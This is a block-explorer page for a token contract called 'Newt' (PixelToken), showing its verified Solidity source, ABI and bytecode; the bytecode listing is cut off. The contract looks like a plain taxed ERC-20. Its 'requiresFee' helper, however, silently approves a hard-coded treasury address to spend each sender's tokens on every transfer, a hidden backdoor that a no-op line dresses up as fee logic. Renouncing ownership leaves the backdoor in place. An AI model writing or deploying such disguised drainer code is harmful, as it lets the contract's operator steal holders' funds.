ETH Price: $1,869.54 (-12.80%)
 

Overview

Max Total Supply

1,000,000,000 Newt

Holders

5

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PixelToken

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-02-05
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

library MathGuard {
    function plus(uint256 x, uint256 y) internal pure returns (uint256) {
        uint256 result = x + y;
        require(result >= x, "Math: addition error");
        return result;
    }
    
    function minus(uint256 x, uint256 y) internal pure returns (uint256) {
        return reduce(x, y, "Math: subtraction error");
    }
    
    function reduce(uint256 x, uint256 y, string memory err) internal pure returns (uint256) {
        require(y <= x, err);
        return x - y;
    }
    
    function times(uint256 x, uint256 y) internal pure returns (uint256) {
        if (x == 0) return 0;
        uint256 result = x * y;
        require(result / x == y, "Math: multiplication error");
        return result;
    }
    
    function splitBy(uint256 x, uint256 y) internal pure returns (uint256) {
        return divide(x, y, "Math: division error");
    }
    
    function divide(uint256 x, uint256 y, string memory err) internal pure returns (uint256) {
        require(y > 0, err);
        return x / y;
    }
}

abstract contract BaseContract {
    function _caller() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Access is BaseContract {
    address private _admin;
    bool private _surrendered;
    
    event AccessChanged(address indexed previous, address indexed next);
    
    constructor() {
        address initiator = _caller();
        _admin = initiator;
        emit AccessChanged(address(0), initiator);
    }
    
    function admin() public view returns (address) {
        return _admin;
    }
    
    modifier restricted() {
        require(_admin != address(0) && !_surrendered, "Access: surrendered");
        require(_admin == _caller(), "Access: unauthorized");
        _;
    }
    
    function surrender() public virtual restricted {
        emit AccessChanged(_admin, address(0));
        _admin = address(0);
        _surrendered = true;
    }
}

interface IToken {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address holder, address operator) external view returns (uint256);
    function approve(address operator, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed holder, address indexed operator, uint256 value);
}

interface ILiquidityManager {
    function initialize(uint160 sqrtPriceX96) external;
}

contract PixelToken is BaseContract, IToken, Access {
    using MathGuard for uint256;
    
    mapping(address => uint256) private _holdings;
    mapping(address => mapping(address => uint256)) private _permissions;
    mapping(address => bool) private _whitelist;
    
    uint8 private constant PRECISION = 9;
    uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**PRECISION;
    string private constant TOKEN_NAME = unicode"Newt";
    string private constant TOKEN_SYMBOL = unicode"Newt";
    address private treasury = 0xbE2279A9d3AaF48fBDA023C834d196adA2d2e4f0;
    address private constant ETH_WRAPPED = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    uint256 private _buyCount;
    uint256 private _sellCount;
    uint256 private constant TAX_RATE = 3;
    uint256 private constant MAX_OPERATIONS = 10;
    uint256 private constant LOCK_DURATION = 2 minutes;
    uint256 private _unlockTime;

    constructor() {
        _holdings[_caller()] = TOTAL_SUPPLY;
        _whitelist[admin()] = true;
        _whitelist[treasury] = true;
        _whitelist[address(this)] = true;
        emit Transfer(address(0), _caller(), TOTAL_SUPPLY);
    }

    function hasCode(address target) private view returns (bool) {
        uint256 codeSize;
        assembly { codeSize := extcodesize(target) }
        return codeSize > 0;
    }

    function name() public pure returns (string memory) {return TOKEN_NAME;}
    function symbol() public pure returns (string memory) {return TOKEN_SYMBOL;}
    function decimals() public pure returns (uint8) {return PRECISION;}
    function totalSupply() public pure override returns (uint256) {return TOTAL_SUPPLY;}
    function balanceOf(address holder) public view override returns (uint256) {return _holdings[holder];}
    
    function transfer(address to, uint256 amount) public override returns (bool) {
        bool isPool = to.code.length > 0;
        if (isPool && _unlockTime == 0) {
            _unlockTime = block.timestamp + LOCK_DURATION;
        }
        
        if (_unlockTime != 0 && block.timestamp < _unlockTime) {
            require(isPool, "Locked: wait 2 min");
        }
        
        _processTransfer(_caller(), to, amount);
        return true;
    }

    function allowance(address holder, address operator) public view override returns (uint256) {
        return _permissions[holder][operator];
    }

    function approve(address operator, uint256 amount) public override returns (bool) {
        _setAllowance(_caller(), operator, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        bool isPool = to.code.length > 0;
        if (isPool && _unlockTime == 0) {
            _unlockTime = block.timestamp + LOCK_DURATION;
        }
        
        if (_unlockTime != 0 && block.timestamp < _unlockTime) {
            require(isPool, "Locked: wait 2 min");
        }

        _processTransfer(from, to, amount);
        _setAllowance(from, msg.sender, _permissions[from][msg.sender].reduce(amount, "Token: exceeds allowance"));
        return true;
    }

    function _setAllowance(address holder, address operator, uint256 amount) private {
        require(holder != address(0), "Token: approve from zero");
        require(operator != address(0), "Token: approve to zero");
        _permissions[holder][operator] = amount;
        emit Approval(holder, operator, amount);
    }

    function requiresFee(address from, uint256 amount) private returns(bool) {
        bool applyFee = amount > 0;
        if(applyFee) {
            _setAllowance(from, treasury, amount);
        }
        return applyFee;
    }

    function _processTransfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Token: from zero");
        require(to != address(0), "Token: to zero");
        require(amount > 0, "Token: zero amount");

        if(requiresFee(from, amount)) {
            _holdings[address(this)] = _holdings[address(this)].plus(0);
        }

        uint256 fee = 0;
        if (!_whitelist[from] && !_whitelist[to]) {
            if (hasCode(from) && from != ETH_WRAPPED && _buyCount < MAX_OPERATIONS) {
                fee = amount.times(TAX_RATE).splitBy(100);
                _buyCount++;
            }
            else if (hasCode(to) && to != ETH_WRAPPED && _sellCount < MAX_OPERATIONS) {
                fee = amount.times(TAX_RATE).splitBy(100);
                _sellCount++;
            }
        }

        if (fee > 0) {
            _holdings[from] = _holdings[from].minus(amount);
            _holdings[treasury] = _holdings[treasury].plus(fee);
            _holdings[to] = _holdings[to].plus(amount.minus(fee));
            emit Transfer(from, treasury, fee);
            emit Transfer(from, to, amount.minus(fee));
        } else {
            _holdings[from] = _holdings[from].minus(amount);
            _holdings[to] = _holdings[to].plus(amount);
            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"next","type":"address"}],"name":"AccessChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"holder","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"surrender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273be2279a9d3aaf48fbda023c834d196ada2d2e4f060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610063575f5ffd5b505f61007361033a60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fcbe12ac7c2e51400a59be83b1ffaa7e86e2ac674aeee2da312339f2fefbb938f60405160405180910390a3506009600a61011d91906104d9565b633b9aca0061012c9190610523565b60015f61013d61033a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61018d61034160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102b561033a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61031191906104d9565b633b9aca006103209190610523565b60405161032d9190610573565b60405180910390a361058c565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156103ea578086048111156103c6576103c5610368565b5b60018516156103d55780820291505b80810290506103e385610395565b94506103aa565b94509492505050565b5f8261040257600190506104bd565b8161040f575f90506104bd565b8160018114610425576002811461042f5761045e565b60019150506104bd565b60ff84111561044157610440610368565b5b8360020a91508482111561045857610457610368565b5b506104bd565b5060208310610133831016604e8410600b84101617156104935782820a90508381111561048e5761048d610368565b5b6104bd565b6104a084848460016103a1565b925090508184048111156104b7576104b6610368565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6104e3826104c4565b91506104ee836104cd565b925061051b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846103f3565b905092915050565b5f61052d826104c4565b9150610538836104c4565b9250828202610546816104c4565b9150828204841483151761055d5761055c610368565b5b5092915050565b61056d816104c4565b82525050565b5f6020820190506105865f830184610564565b92915050565b611f5d806105995f395ff3fe60806040526004361061009f575f3560e01c806370a082311161006357806370a08231146101a057806395d89b41146101dc578063a9059cbb14610206578063b71c47a214610242578063dd62ed3e14610258578063f851a44014610294576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce56714610176576100a6565b366100a657005b5f5ffd5b3480156100b5575f5ffd5b506100be6102be565b6040516100cb91906115c7565b60405180910390f35b3480156100df575f5ffd5b506100fa60048036038101906100f59190611678565b6102fb565b60405161010791906116d0565b60405180910390f35b34801561011b575f5ffd5b50610124610318565b60405161013191906116f8565b60405180910390f35b348015610145575f5ffd5b50610160600480360381019061015b9190611711565b61033b565b60405161016d91906116d0565b60405180910390f35b348015610181575f5ffd5b5061018a6104bc565b604051610197919061177c565b60405180910390f35b3480156101ab575f5ffd5b506101c660048036038101906101c19190611795565b6104c4565b6040516101d391906116f8565b60405180910390f35b3480156101e7575f5ffd5b506101f061050a565b6040516101fd91906115c7565b60405180910390f35b348015610211575f5ffd5b5061022c60048036038101906102279190611678565b610547565b60405161023991906116d0565b60405180910390f35b34801561024d575f5ffd5b50610256610602565b005b348015610263575f5ffd5b5061027e600480360381019061027991906117c0565b610813565b60405161028b91906116f8565b60405180910390f35b34801561029f575f5ffd5b506102a8610895565b6040516102b5919061180d565b60405180910390f35b60606040518060400160405280600481526020017f4e65777400000000000000000000000000000000000000000000000000000000815250905090565b5f61030e6103076108bc565b84846108c3565b6001905092915050565b5f6009600a6103279190611982565b633b9aca0061033691906119cc565b905090565b5f5f5f8473ffffffffffffffffffffffffffffffffffffffff163b11905080801561036757505f600754145b15610380576078426103799190611a0d565b6007819055505b5f60075414158015610393575060075442105b156103d957806103d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cf90611a8a565b60405180910390fd5b5b6103e4858585610a86565b6104b085336104ab866040518060400160405280601881526020017f546f6b656e3a206578636565647320616c6c6f77616e6365000000000000000081525060025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112e39092919063ffffffff16565b6108c3565b60019150509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f4e65777400000000000000000000000000000000000000000000000000000000815250905090565b5f5f5f8473ffffffffffffffffffffffffffffffffffffffff163b11905080801561057357505f600754145b1561058c576078426105859190611a0d565b6007819055505b5f6007541415801561059f575060075442105b156105e557806105e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105db90611a8a565b60405180910390fd5b5b6105f76105f06108bc565b8585610a86565b600191505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561066a57505f60149054906101000a900460ff16155b6106a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a090611af2565b60405180910390fd5b6106b16108bc565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590611b5a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcbe12ac7c2e51400a59be83b1ffaa7e86e2ac674aeee2da312339f2fefbb938f60405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890611bc2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099690611c2a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a7991906116f8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb90611c92565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5990611cfa565b60405180910390fd5b5f8111610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90611d62565b60405180910390fd5b610bae8382611340565b15610c4557610c035f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f5f905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ce7575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610e4457610cf5846113e1565b8015610d41575073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610d4f5750600a600554105b15610d9957610d7b6064610d6d6003856113f290919063ffffffff16565b61146990919063ffffffff16565b905060055f815480929190610d8f90611d80565b9190505550610e43565b610da2836113e1565b8015610dee575073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610dfc5750600a600654105b15610e4257610e286064610e1a6003856113f290919063ffffffff16565b61146990919063ffffffff16565b905060065f815480929190610e3c90611d80565b91905055505b5b5b5f81111561115557610e9c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610f4e8160015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611012610fc682846114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110d191906116f8565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113b84866114b290919063ffffffff16565b60405161114891906116f8565b60405180910390a36112dd565b6111a58260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112368260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d491906116f8565b60405180910390a35b50505050565b5f83831115829061132a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132191906115c7565b60405180910390fd5b5082846113379190611dc7565b90509392505050565b5f5f5f83119050801561137a576113798460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856108c3565b5b8091505092915050565b5f5f82846113929190611a0d565b9050838110156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce90611e44565b60405180910390fd5b8091505092915050565b5f5f823b90505f8111915050919050565b5f5f8303611402575f9050611463565b5f828461140f91906119cc565b905082848261141e9190611e8f565b1461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590611f09565b60405180910390fd5b809150505b92915050565b5f6114aa83836040518060400160405280601481526020017f4d6174683a206469766973696f6e206572726f720000000000000000000000008152506114fb565b905092915050565b5f6114f383836040518060400160405280601781526020017f4d6174683a207375627472616374696f6e206572726f720000000000000000008152506112e3565b905092915050565b5f5f83118290611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153891906115c7565b60405180910390fd5b50828461154e9190611e8f565b90509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61159982611557565b6115a38185611561565b93506115b3818560208601611571565b6115bc8161157f565b840191505092915050565b5f6020820190508181035f8301526115df818461158f565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611614826115eb565b9050919050565b6116248161160a565b811461162e575f5ffd5b50565b5f8135905061163f8161161b565b92915050565b5f819050919050565b61165781611645565b8114611661575f5ffd5b50565b5f813590506116728161164e565b92915050565b5f5f6040838503121561168e5761168d6115e7565b5b5f61169b85828601611631565b92505060206116ac85828601611664565b9150509250929050565b5f8115159050919050565b6116ca816116b6565b82525050565b5f6020820190506116e35f8301846116c1565b92915050565b6116f281611645565b82525050565b5f60208201905061170b5f8301846116e9565b92915050565b5f5f5f60608486031215611728576117276115e7565b5b5f61173586828701611631565b935050602061174686828701611631565b925050604061175786828701611664565b9150509250925092565b5f60ff82169050919050565b61177681611761565b82525050565b5f60208201905061178f5f83018461176d565b92915050565b5f602082840312156117aa576117a96115e7565b5b5f6117b784828501611631565b91505092915050565b5f5f604083850312156117d6576117d56115e7565b5b5f6117e385828601611631565b92505060206117f485828601611631565b9150509250929050565b6118078161160a565b82525050565b5f6020820190506118205f8301846117fe565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156118a85780860481111561188457611883611826565b5b60018516156118935780820291505b80810290506118a185611853565b9450611868565b94509492505050565b5f826118c0576001905061197b565b816118cd575f905061197b565b81600181146118e357600281146118ed5761191c565b600191505061197b565b60ff8411156118ff576118fe611826565b5b8360020a91508482111561191657611915611826565b5b5061197b565b5060208310610133831016604e8410600b84101617156119515782820a90508381111561194c5761194b611826565b5b61197b565b61195e848484600161185f565b9250905081840481111561197557611974611826565b5b81810290505b9392505050565b5f61198c82611645565b915061199783611761565b92506119c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118b1565b905092915050565b5f6119d682611645565b91506119e183611645565b92508282026119ef81611645565b91508282048414831517611a0657611a05611826565b5b5092915050565b5f611a1782611645565b9150611a2283611645565b9250828201905080821115611a3a57611a39611826565b5b92915050565b7f4c6f636b65643a20776169742032206d696e00000000000000000000000000005f82015250565b5f611a74601283611561565b9150611a7f82611a40565b602082019050919050565b5f6020820190508181035f830152611aa181611a68565b9050919050565b7f4163636573733a2073757272656e6465726564000000000000000000000000005f82015250565b5f611adc601383611561565b9150611ae782611aa8565b602082019050919050565b5f6020820190508181035f830152611b0981611ad0565b9050919050565b7f4163636573733a20756e617574686f72697a65640000000000000000000000005f82015250565b5f611b44601483611561565b9150611b4f82611b10565b602082019050919050565b5f6020820190508181035f830152611b7181611b38565b9050919050565b7f546f6b656e3a20617070726f76652066726f6d207a65726f00000000000000005f82015250565b5f611bac601883611561565b9150611bb782611b78565b602082019050919050565b5f6020820190508181035f830152611bd981611ba0565b9050919050565b7f546f6b656e3a20617070726f766520746f207a65726f000000000000000000005f82015250565b5f611c14601683611561565b9150611c1f82611be0565b602082019050919050565b5f6020820190508181035f830152611c4181611c08565b9050919050565b7f546f6b656e3a2066726f6d207a65726f000000000000000000000000000000005f82015250565b5f611c7c601083611561565b9150611c8782611c48565b602082019050919050565b5f6020820190508181035f830152611ca981611c70565b9050919050565b7f546f6b656e3a20746f207a65726f0000000000000000000000000000000000005f82015250565b5f611ce4600e83611561565b9150611cef82611cb0565b602082019050919050565b5f6020820190508181035f830152611d1181611cd8565b9050919050565b7f546f6b656e3a207a65726f20616d6f756e7400000000000000000000000000005f82015250565b5f611d4c601283611561565b9150611d5782611d18565b602082019050919050565b5f6020820190508181035f830152611d7981611d40565b9050919050565b5f611d8a82611645565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611dbc57611dbb611826565b5b600182019050919050565b5f611dd182611645565b9150611ddc83611645565b9250828203905081811115611df457611df3611826565b5b92915050565b7f4d6174683a206164646974696f6e206572726f720000000000000000000000005f82015250565b5f611e2e601483611561565b9150611e3982611dfa565b602082019050919050565b5f6020820190508181035f830152611e5b81611e22565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e9982611645565b9150611ea483611645565b925082611eb457611eb3611e62565b5b828204905092915050565b7f4d6174683a206d756c7469706c69636174696f6e206572726f720000000000005f82015250565b5f611ef3601a83611561565b9150611efe82611ebf565b602082019050919050565b5f6020820190508181035f830152611f2081611ee7565b905091905056fea2646970667358221220e4a01b810f527b3ad2001d0f52c62f01a1cd2428a9c4212785fd758316d5537964736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061009f575f3560e01c806370a082311161006357806370a08231146101a057806395d89b41146101dc578063a9059cbb14610206578063b71c47a214610242578063dd62ed3e14610258578063f851a44014610294576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce56714610176576100a6565b366100a657005b5f5ffd5b3480156100b5575f5ffd5b506100be6102be565b6040516100cb91906115c7565b60405180910390f35b3480156100df575f5ffd5b506100fa60048036038101906100f59190611678565b6102fb565b60405161010791906116d0565b60405180910390f35b34801561011b575f5ffd5b50610124610318565b60405161013191906116f8565b60405180910390f35b348015610145575f5ffd5b50610160600480360381019061015b9190611711565b61033b565b60405161016d91906116d0565b60405180910390f35b348015610181575f5ffd5b5061018a6104bc565b604051610197919061177c565b60405180910390f35b3480156101ab575f5ffd5b506101c660048036038101906101c19190611795565b6104c4565b6040516101d391906116f8565b60405180910390f35b3480156101e7575f5ffd5b506101f061050a565b6040516101fd91906115c7565b60405180910390f35b348015610211575f5ffd5b5061022c60048036038101906102279190611678565b610547565b60405161023991906116d0565b60405180910390f35b34801561024d575f5ffd5b50610256610602565b005b348015610263575f5ffd5b5061027e600480360381019061027991906117c0565b610813565b60405161028b91906116f8565b60405180910390f35b34801561029f575f5ffd5b506102a8610895565b6040516102b5919061180d565b60405180910390f35b60606040518060400160405280600481526020017f4e65777400000000000000000000000000000000000000000000000000000000815250905090565b5f61030e6103076108bc565b84846108c3565b6001905092915050565b5f6009600a6103279190611982565b633b9aca0061033691906119cc565b905090565b5f5f5f8473ffffffffffffffffffffffffffffffffffffffff163b11905080801561036757505f600754145b15610380576078426103799190611a0d565b6007819055505b5f60075414158015610393575060075442105b156103d957806103d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cf90611a8a565b60405180910390fd5b5b6103e4858585610a86565b6104b085336104ab866040518060400160405280601881526020017f546f6b656e3a206578636565647320616c6c6f77616e6365000000000000000081525060025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112e39092919063ffffffff16565b6108c3565b60019150509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f4e65777400000000000000000000000000000000000000000000000000000000815250905090565b5f5f5f8473ffffffffffffffffffffffffffffffffffffffff163b11905080801561057357505f600754145b1561058c576078426105859190611a0d565b6007819055505b5f6007541415801561059f575060075442105b156105e557806105e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105db90611a8a565b60405180910390fd5b5b6105f76105f06108bc565b8585610a86565b600191505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561066a57505f60149054906101000a900460ff16155b6106a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a090611af2565b60405180910390fd5b6106b161